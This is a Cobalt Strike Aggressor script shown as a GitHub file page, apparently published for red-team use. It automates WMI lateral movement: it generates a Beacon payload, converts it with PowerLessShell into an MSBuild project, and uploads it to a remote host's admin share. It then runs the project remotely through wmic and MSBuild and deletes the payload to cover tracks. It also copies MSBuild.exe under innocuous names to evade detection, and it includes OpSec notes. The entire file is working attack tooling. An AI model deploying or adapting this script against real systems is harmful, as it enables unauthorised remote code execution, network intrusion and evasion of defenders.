-
Notifications
You must be signed in to change notification settings - Fork 251
/
wmi_msbuild.cna
365 lines (315 loc) · 11.6 KB
/
wmi_msbuild.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
######################################
## PowerLessShell via Cobalt Strike ##
######################################
## Author: Alyssa (ramen0x3f)
## OG Author: MrT__F
## Last Updated: 2018-02-13
## PowerLessShell: Mr-Un1k0d3r (https://github.com/Mr-Un1k0d3r/PowerLessShell)
#### Set Up ####
# i. Either copy PowerLessShell folder to [cobalts working dir]/PowerLessShell or make note of path
# ii. If you didn't copy it to the Cobalt directory: edit the $pls_path variable in this file to point to PowerLessShell
# iii. Load script into Cobalt Strike
#### Usage ####
#check_msbuild -target TARGET Verify .NET 4.0.30319 is installed
# [-user user] [-pass pass] (should see "Status OK")
# Windows 7 has .NET 4.0.30319 after 3 reboots and 4 Windows update cycles
#rename_msbuild -target TARGET Copy MSBuild.exe.
# -msbuild newname
# [-path C:\new\path] Default - C:\Users\Public\
# [-user domain\username] Specifying user/pass spawns cmd
# [-pass password] on remote host.
#wmi_msbuild -target TARGET Spawn new beacon.
# -listener LISTENER
# [-payload new_file] Default - [a-zA-Z].tmp
# [-directory new_dir] Default - C:\Users\Public\
# [-msbuild alt_msbuild_location]
# [-user USERNAME] [-pass PASSWORD]
# [-manualdelete] Switch doesn't auto delete payload.
#### OpSec Notes ####
# Spawns cmd.exe on the target system if
# - ManualDelete switch is not set
# - rename_msbuild is run with a username/password specified
#### Register aliases ####
beacon_command_register("check_msbuild",
"Look for .NET v4.0.30319 on target",
"Synopsis: check_msbuild -target TARGET [-user user] [-pass pass]",
"This checks a remote system for .NET v4.0.30319 and responds with a 'Status OK' if MSBuild.exe is there. User/pass to authenticate with remotely are optional. NOTE: Uses cmd.exe. User must be local admin on target.");
beacon_command_register("rename_msbuild",
"Create innocent looking copy of MSBuild.exe",
"Synopsis: rename_msbuild -target TARGET -msbuild [newname] [-path C:\\new\\path] [-user username] [-pass password]",
"This copies MSBuild.exe to C:\\Users\\Public by default.");
beacon_command_register("wmi_msbuild",
"wmi lateral movement without powershell",
"Synopsis: wmi_msbuild -target TARGET -listener LISTENER [-payload new_filename] [-directory new_dir] [-msbuild alt_msbuild_location] [-user USERNAME] [-pass PASSWORD] [-manualdelete]",
"This uses Mr-Un1k0d3r's PowerLessShell (https://github.com/Mr-Un1k0d3r/PowerLessShell) to execute beacon's powershell payload on a remote system. You will need to copy the PowerLessShell repo to folder PowerLessShell in your cobaltstrike client directory (or edit the $pls_path variable here). Also, the PowerLessShell.py script assumes .NET framework 4.0.30319, so that must exist on the remote system. If it doesn't, do 3 reboots and 4 Windows update cycles. No srsly.");
global('$working_dir');
$working_dir = "C$\\Users\\Public\\";
#########
# UTILS #
#########
sub parse_args {
# Description #
###############
## Add arguments and switches to your function
## instead of everything being positional and sketchy.
# Arguments #
###############
## 1 Array of arguments from your initial function
local('%args $get_val @to_check $bid');
if ( @_[0][0] in beacon_ids() ) {
$bid = @_[0][0];
@to_check = sublist(@_[0], 1); #Excludes the $bid
}
else {
@to_check = @_[0];
}
foreach $a (@to_check) {
if( (charAt($a,0) cmp "-") == 0 ) { #Create keys for args
$get_val = substr($a, 1);
%args[$get_val] = true; #Treat like a switch by default
}
else if( $get_val ) { #Save value of key
%args[$get_val] = $a;
$get_val = $null;
}
else if ( $bid ) { #Print to beacon if command was run from beacon
berror($1, "Something went wrong processing: " . $a);
}
else { #Print to script console if command was run from script console
println("Something went wrong processing: " . $a);
}
}
return %args;
}
sub gen_cs {
local('$handle');
$handle = exec("python PowerLessShell.py payload.ps1 payload.cs powershell", $null, cwd());
if (checkError($error)) {
warn($error);
}
#wait for generation to finish
wait($handle);
closef($handle);
}
sub gen_payload {
local('$ps1 $pls_path $handle');
$ps1 = artifact($1, "powershell", true, "x86");
#Change this to the path of PowerLessShell (relative to cobaltstrike dir, or just absolute)
$pls_path = "PowerLessShell";
chdir($pls_path);
if (checkError($error)) {
warn($error);
}
$handle = openf(">payload.ps1");
writeb($handle, $ps1);
if (checkError($error)) {
warn($error);
}
closef($handle);
}
sub gen_random_name {
#returns random filename .TMP
local('@alphabet $len $i $filename');
@alphabet = @("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z");
#Random filename length between 5 and 16
$len = rand(11) + 5;
for($i = 0; $i < $len; $i++){
$filename .= rand(@alphabet);
}
$filename .= ".TMP";
return $filename;
}
sub hide {
# Arguments #
#############
## 2 target
## 3 name to copy MSBuild.exe to
## 4 new working directory
## 5 opt: user
## 6 opt: pass
if ( $5 && $6 ) {
bshell($1, "wmic /node:" . $2 . " /user:'" . $5 . "' /password:'" . $6 . "' process call create \"cmd /c copy /y C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe " . strrep($4, "$", ":") . $3 . "\"");
}
else {
bcp($1, '\\\\' . $2 . '\\C$\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe', '\'\\\\' . $2 . '\\' . strrep($4, ":", "$") . $3 .'\'');
}
blog($1, "Copied MSBuild.exe to " . $4 . $3);
}
sub msbuild {
# Arguments #
#############
## target - required
## listener - required
## user - optional
## pass - optional
## msbuild - optional, location of alternate msbuild
## payload - optional, new filename for payload
## manualdelete - optional, switch, doesn't use cmd/auto delete payload
local('$cwd $owd $msbuild $ps1 $handle $payload $command_line $pay_dir $run_as %args');
%args = $2;
#Save working dir to restore later
$owd = cwd();
$cwd = $working_dir;
#############
# User/Pass #
#############
if ( 'user' in %args && 'pass' in %args ) {
blog($1, "Specifiying user: " . %args['user'] . " w/ pass: " . %args['pass']);
$runas = ' /user:"' . %args['user'] . '" /password:"' . %args['pass'] . '" ';
}
else {
$runas = "";
}
############
# Listener #
############
#Ensure listener exists
if (%args['listener'] !in listeners_local()) {
berror($1, "Listener " . %args['listener'] . " does not exist");
return;
}
###############
# MSBuild.exe #
###############
if ( 'msbuild' in %args ) {
$msbuild = %args['msbuild'];
}
else {
$msbuild = 'C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe';
}
blog($1, "Using MSBuild.exe in: " . $msbuild);
btask($1, "Tasked Beacon to spawn to " . %args['target'] . "(" . listener_describe(%args['listener'], %args['target']) . ") via PowerLessShell");
###########
# Payload #
###########
#Write payload to disk
#i re-do this every time in case the listener changes. Probably could be more efficient
gen_payload(%args['listener']);
#Use PowerLessShell.py to generate .CS files
gen_cs();
#payload.cs.cmd has some nice obfuscation, but we are just going to upload cs file via smb and execute it for now. There are length issues...
$handle = openf("payload.cs");
if (checkError($error)) {
warn($error);
}
$payload = readb($handle, -1);
if (checkError($error)) {
warn($error);
}
closef($handle);
#generate random payload name if not specified
if ( 'payload' in %args ) {
$filename = %args['payload'];
}
else {
$filename = gen_random_name();
}
#use new directory if specified
if ( 'directory' in %args ) {
$pay_dir = %args['directory'];
if ( (charAt($pay_dir, -1) cmp "\\") != 0) {
$pay_dir = $pay_dir . "\\";
}
}
else {
$pay_dir = $working_dir;
}
#upload
$unc = '\\\\'. %args['target'] . '\\' . strrep($pay_dir, ":", "$");
if("user" in %args && "pass" in %args) {
bshell($1, 'net use \\\\'. %args['target'] . '\\C$ /user:' . %args['user'] . ' ' . %args['pass']);
sleep(5000);
bupload_raw($1, $unc . $filename , $payload);
sleep(2000);
bshell($1, 'net use \\\\'. %args['target'] . '\\C$ /delete /y');
}
else {
bupload_raw($1, $unc . $filename , $payload);
}
##########
# Launch #
##########
## 1 - If ManualDelete, do all through WMIC (just launch)
if ( "manualdelete" in filter({return lc($1);}, keys(%args)) ) {
bshell($1, 'wmic /node:"' . %args['target'] . '" process call create "' . $msbuild . ' ' . strrep($pay_dir, "$", ":") . $filename . ' /noconsolelogger"');
}
## 2 - Else, do all through WMIC/CMD
else {
bshell($1, 'wmic /node:"' . %args['target'] . '"' . $runas . ' process call create "cmd /c ' . $msbuild . ' ' . strrep($pay_dir, "$", ":") . $filename . ' /noconsolelogger && del ' . strrep($pay_dir, "$", ":") . $filename . '"');
}
## Link SMB listener
bstage($1, %args['target'], %args['listener']);
## Restore Originals
chdir($owd);
}
###########
# ALIASES #
###########
alias check_msbuild { #> Careful this uses "cmd.exe /c"
# Arguments #
#############
## target - required
## user - optional
## pass - optional
%args = %();
if ( len(@_) == 2 ) {
%args['target'] = $2;
}
else {
%args = parse_args(@_);
if ( "target" !in %args ) {
berror($1, "Missing required arguments. Please review what you provided.")
berror($1, "Example: check_msbuild 192.168.0.1");
berror($1, "Example: check_msbuild -target 192.168.0.1 [-user admin] [-pass password]");
}
}
blog($1, "Checking for existence of MSBuild.exe v4.0.30319 on " . %args['target']);
if ("user" in %args && "pass" in %args) {
bshell($1, "wmic /node:" . %args['target'] . " /user:'" . %args['user'] . "' /password:'" . %args['pass'] . "' datafile where name=\"C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\MSBuild.exe\" get Status");
}
else {
bshell($1, "wmic /node:" . %args['target'] . " datafile where name=\"C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\MSBuild.exe\" get Status");
}
}
alias rename_msbuild {
# Arguments #
#############
## $2 target
## $3 name to copy MSBuild.exe to
## $4 (opt) new directory
%args = %();
%args = parse_args(@_);
if ( "target" !in %args ) {
berror($1, "Missing required arguments. Please review what you provided.")
berror($1, "Example: rename_msbuild -target 192.168.0.1 -msbuild acrord32.exe [-path C:\\Users\\Public\\Downloads\\] [-user admin] [-pass password]");
}
else {
if ( 'path' in %args ) {
hide($1, %args['target'], %args['msbuild'], %args['path'], %args['user'], %args['pass']);
}
else {
hide($1, %args['target'], %args['msbuild'], strrep($working_dir, "$", ":"), %args['user'], %args['pass']);
}
}
}
alias wmi_msbuild {
# Arguments #
#############
## target - required
## listener - required
## user - optional
## pass - optional
## msbuild - optional, location of alternate msbuild
## payload - optional, new filename for payload
## directory - optional, new location for payload (Default C:\Users\Public)
## manualdelete - optional, switch, doesn't use cmd/auto delete payload
%args = parse_args(@_);
#See if required arguments were given
if ( "target" in %args && "listener" in %args ) {
msbuild($1, %args);
}
else {
berror($1, "Missing required arguments. Please review what you provided.");
berror($1, "Example: wmi_msbuild -target 192.168.0.1 -listener Default [-user admin] [-pass password] [-payload new_filename] [-msbuild alt_msbuild] [-directory new_dir] [-manualdelete]");
}
}